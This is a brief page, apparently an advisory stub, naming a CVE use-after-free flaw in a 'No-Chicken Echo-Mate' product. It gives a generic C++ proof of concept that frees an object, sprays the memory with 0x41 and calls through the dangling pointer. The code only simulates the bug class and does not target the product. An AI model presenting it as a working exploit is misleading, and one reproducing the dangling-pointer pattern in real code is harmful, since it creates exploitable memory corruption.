CVE-2026-4752 No-Chicken Echo-Mate释放后重用漏洞

#include <iostream> #include <cstdlib> #include <cstring> // Simulated vulnerable class structure class EchoObject { public: virtual void process() { std::cout << "Processing data..." << std::endl; } virtual ~EchoObject() {} }; // Global pointer to simulate the dangling pointer scenario EchoObject* g_ptr = nullptr; void trigger_vulnerability() { // Step 1: Allocate object g_ptr = new EchoObject(); // Step 2: Free the object (Simulating the bug) delete g_ptr; // Note: g_ptr is not set to nullptr, creating a dangling pointer } void exploit_uaf() { // Step 3: Allocate memory to occupy the freed space (Heap grooming) // In a real exploit, this memory would contain malicious code pointers void* fake_obj = malloc(sizeof(EchoObject)); memset(fake_obj, 0x41, sizeof(EchoObject)); // Step 4: Use After Free // The vulnerable code attempts to use g_ptr without checking if (g_ptr) { g_ptr->process(); // Crashes or executes code from fake_obj } free(fake_obj); } int main() { trigger_vulnerability(); exploit_uaf(); return 0; }